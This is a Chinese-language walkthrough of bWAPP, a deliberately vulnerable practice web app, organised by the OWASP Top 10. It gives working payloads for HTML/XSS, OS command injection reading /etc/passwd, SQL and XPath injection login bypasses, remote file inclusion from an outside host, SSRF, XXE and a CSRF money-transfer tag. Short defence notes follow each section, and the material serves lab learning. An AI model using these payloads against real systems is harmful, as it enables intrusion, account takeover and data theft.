bWAPP攻略


0x00、平台介紹

按照OWASP排序

 

0x01A1-Injuction(注入)

Low級別:不經過任何處理的接收用戶數據

Medium級別:黑名單機制,轉義了部分危險數據

High級別:全部轉義,或者白名單機制

1.1 HTML Injection-Reflected(GET,POST)

Low

Payload: <a href=”https://www.baidu.com”>baidu</a>

Mediu

Payload: %3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e

1.2 HTML Injection-Reflected(Current URL)

Payload和以上相同,只是注入點不同

由於url中輸入自動轉義成urlcode,在burp中還原成原始字符即可

1.3 HTML Injection-Stored(Blog)

Payload和以上相同,只是注入點不同

存儲型注入,可以把urlxss寫進數據庫

1.4 iFrame Injection

直接通過http訪問ParamUrl中的參數

Low

Payload:  ?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250

1.5 OS Command Injection

回顯輸入的網址的dns解析,使用管道符跳過限制

Low

Payload: Windows|ipconfig Linux;cat /eta/passwd

1.6 OS Command Injection-Blind

無回顯,只能使用不需要回顯的命令

1.7 PHP code Injection

把任意輸入參數當做PHP代碼執行,可直接菜刀連之

Low

Payload:  ?message=phpinfo();

1.8 SQL InjectionGET/POST/Search

這里都是明顯的SQL注入漏洞,sqlmap隨便跑

Sql語句猜測:

SELECT * from movies WHERE title like '%$_GET[“title”]%';

Low

Payload:  s' or 'a'='a'--

1.9 SQL InjectionGET/POST/Select

只能回顯一行,不影響

Sql語句猜測:

SELECT * from movies WHERE id = $_GET[“movie”];

Low

Payload:  ?movie=5%20or%201=1&action=go

1.10 SQL Injection (Login Form/Hero)

萬能密碼

Sql語句猜測:

SELECT * FROM heroes WHERE login= $_POST[“login”] and `password` =  $_POST[“password”];

Low

Payload:  login=test' or 'a'='a'--

1.11 SQL Injection (Login Form/Users)

不知道賬號密碼登陸

略復雜,審計源碼發現是先$row=SELECT * FROM heroes WHERE login= $_GET[“login”]

再判斷$row["login"] && $password == $row["password"]

$row必須為一個數組,才能進行下一步判斷,另外密碼為sha1加密過的

Low:

Payload:

login=test' UNION SELECT 1,2,'77de68daecd823babbb58edb1c8e14d7106e83bb',4,5,6,7,8,9-- &pawword=3

1.12 SQL Injection (SQLite)

Mysql換成了sqlite,只是些sql語句寫法變了

1.13 SQL Injection - Stored (Blog)

存儲型,可以寫xssurl等等

Low:

Payload: <script>alert(1)</script>

1.14 SQL Injection - Stored (User-Agent)

會將User-Agent中的值存入數據庫,使用burp改改User-Agent就行

1.15 SQL Injection - Stored (XML)

1.16 XML/XPath Injection (Login Form)

萬能密碼

XPath語句:

/heroes/hero[login=' $_GET[“login”]' and password=' $_GET[“password”]’

Low:

Payload:?login=%27+or+%271%27%3D%271&password=%27+or+%271%27%3D%271&form=submit

1.17 XML/XPath Injection (Search)

Xpath語句:

//hero[contains(genre, $_GET["genre"])]/movie

1.18 防護

Html/xss注入:白名單+所有輸入轉義為htmlcode

命令注入:白名單

Sql注入:ORM或者占位符

 

 

0x02A2-Broken Auth&Session Mgmt(失效的身份認證和會話管理)

2.1 Broken Auth. - CAPTCHA Bypassing

爆破即可,驗證碼每次提交不變

2.2 Broken Auth. - Insecure Login Forms

Low:

這個賬號密碼直接在網頁源碼中,審查一下即可

Medium:

JSunlock_secret()里面搞了個密碼表,對照一下即可找出

High:

密碼直接提示出來了,沒太懂這題的意思

2.3 Broken Auth. - Logout Management

Low:

只是跳轉到登陸頁面,實際沒清session

2.4 Broken Auth. - Password Attacks

連驗證碼都沒有了,直接爆破即可

2.5 Broken Auth. - Weak Passwords

弱口令,爆破更簡單

2.6 Session Mgmt. - Administrative Portals

更改自己的權限

Low:

Payload: ?admin=1

Medium:

Payload: Cookies: admin=1

High:

寫到session中了,看起來挺安全了

2.7 Session Mgmt. - Cookies (HTTPOnly)

cookies設置httponly,防止js獲取cooikes

2.8 Session Mgmt. - Session ID in URL

Session id出現在url中了

2.9 防護

密碼防爆破:高復雜度密碼+每次都變的驗證碼+限制單IP登陸頻率

Session防護:不能明文暴露、httponly防劫持、登出清理cooikes

 

 

0x03A3 - Cross-Site Scripting (XSS)

Low級別:不經過任何處理的接收用戶數據

Medium級別:黑名單機制,轉義了部分危險數據

High級別:全部轉義,通常框架會幫你做轉義

3.1 XSS - Reflected (GET/POST/JSON)

這幾種方式只是提交數據的方法不通

Low:

Payload: <script>alert(1)</script>

Medium:

Payload: <img src=a.png onerror=alert(/xss/)>

3.2 XSS - Reflected (Back Button)

Lowmedium:

Payload: Referer '"><img src=a.png onerror=alert(/xss/)>

3.3 XSS - Reflected (Eval)

Lowmedium:

Payload: ?date=alert(1)

3.4 XSS - Reflected (HREF)

Low:

Payload: /><img src=a.png onerror=alert(1)>

3.5 防護

其實還有很多題,但只是提交方法、插入位置不同

XSS防護:對輸入過濾,對輸出編碼

富文本編輯器使用白名單過濾,黑名單很容易被繞過

通常框架都都會把輸出做htmlencode

Cookies : httponly=Truesession劫持

 

 

0x04A4 - Insecure Direct Object References(不安全的對象直接引用)

4.1 Insecure DOR (Change Secret)

Low:

<input type="hidden" name="login" value="bee">

修改value中的用戶名就可以修改別的用戶的密碼了

4.2 Insecure DOR (Reset Secret)

Lowmediumhigh:

Js中的ResetSecret()可以看到用戶名,修改就可以重置別的用戶的密碼了

4.3 Insecure DOR (Order Tickets)

Low:

ticket_pricevalue可以直接在html代碼中修改

4.4 防護

本章主要算是邏輯漏洞

修改/重置密碼時,驗證用戶身份使用session+用戶名密碼

不需要用戶發送的數據要在后端生成

 

 

 

0x05A5-Security Misconfiguration(安全誤配置)

辦公室電腦裝不了虛擬機,很多都搞不了(環境要搭在虛擬機里,還需要kali

5.1 Man-in-the-Middle Attack (HTTP)

用戶名密碼明文傳輸

5.2 Robots File

敏感文件暴露在robots.txt文件中

5.3 防護

使用https建立安全隧道,可防止中間人劫持數據

不要在robots.txt暴露敏感文件

 

 

0x06A6 - Sensitive Data Exposure(敏感數據泄露)

6.1 Base64 Encoding (Secret)

Low:

Cookies中有密碼,通過Base64解密即可

6.2 Clear Text HTTP (Credentials)

Low

密碼明文傳輸

6.3 Text Files (Accounts)

Low:

明文存儲

Medium:

密碼為sha1加密,簡單的密碼會被爆破

6.4 防護

敏感數據,特別是密碼使用https傳輸或者加密傳輸(RSA),存儲使用md5(md5+salt)的方式存儲

 

 

0x07A7 - Missing Functional Level Access Control (應用層訪問控制缺失)

7.1 Directory Traversal - Directories

Low

Payload: ?directory=../ 可以訪問任意目錄

Medium:

Payload: ?directory=images 過濾了一些符號,可以通過猜解的方式

7.2 Directory Traversal - Files

Low

Payload: ?page=666  

../INSTALL.txt  猜解文件名,也可訪問上層目錄文件

Medium:

Payload: ?page=66 限制了訪問上層目錄

7.3 Remote & Local File Inclusion (RFI/LFI)(遠程/本地文件包含)

Language參數后可以執行任意本地/遠程文件,基本上什么都能搞了

Low

本地文件直接執行

Payload: ?language=666&action=go

遠程文件包含

Payload: ?language=http://phpcode.applinzi.com/phpzzz&action=go

Medium:

本地在文件名后面加上.php執行

Payload: ?language=aim&action=go

7.4 Restrict Device Access

Lowmediumhigh

User-agent換成手機的頭

7.5 Server Side Request Forgery (SSRF)

經典的SSRF漏洞利用,可以攻擊內網

利用http://127.0.0.1/bWAPP/rlfi.php?language=lang_en.php&action=go

Low:

?ip=127.0.0.1&language=../evil/ssrf-1.txt&action=go

?ip=127.0.0.1&language=http://127.0.0.1/evil/ssrf-1.txt&action=go

7.6 XML External Entity Attacks (XXE)

Xml外部實體攻擊

Low:

SYSTEM可以執行任意代碼

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY popped SYSTEM "http://127.0.0.1/bWAPP/666">

]>

<reset><login>&popped;</login><secret>Any bugs?</secret></reset>

7.7 防護

使用白名單限制文件訪問

禁止XML外部實體

過濾返回信息來防護SSRF

 

 

0x08A8 - Cross-Site Request Forgery (CSRF) (跨站請求偽造CSRF

8.1 CSRF (Transfer Amount)

自己制作一個釣魚網站,把會產生扣款操作的url插入到在自己的網站中,然后把網址發到受害者,受害者訪問即可觸發扣款操作

<img src= “http://127.0.0.1/bWAPP/csrf_2.php?account=123-45678-90&amount=1&action=transfer”>

8.2 防護

CSRF攻擊的一個大體流程,偽造一個請求鏈接,發送給受害者,受害者點擊后請求被執行,前提是存在CSRF漏洞的瀏覽器cookie還沒有過期,如果過期了是沒有用的。

通常的防護做法是在提交表單的時候加上隱藏字段csrftoken(隨機值,每次發送都會改變)一起發送到后端,后端收到后和cookies中的csrftoken對比(AJAX請求時就需要從cookies中獲取csrftoken),一致才認為有效訪問。這樣做仍有可能被利用,最好的方式是將csrftoken存放在session

 

 

0x09A9 - Using Known Vulnerable Components(應用已知脆弱性的組件)

9.1 PHP Eval Function

源碼審計,直接使用了eval函數

Payload: ?eval=phpinfo();

9.2 防護

本章主要是已知的各種致命漏洞的利用

針對不同的漏洞利用升級版本等方式來修補

 

 

0x0aA10 - Unvalidated Redirects & Forwards (未驗證的重定向轉發)

這個沒想到好的利用方式

 

0x0b、其他

11.1 Unrestricted File Upload

上傳漏洞可直接上傳大小馬

11.2 防護

白名單+上傳文件名隨機修改+限制上傳目錄(可執行的不可上傳、可上傳的不可執行)

 

 

0x0c、總結

簡單的玩兒了下平台的漏洞,基本涵蓋了大部分的漏洞

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM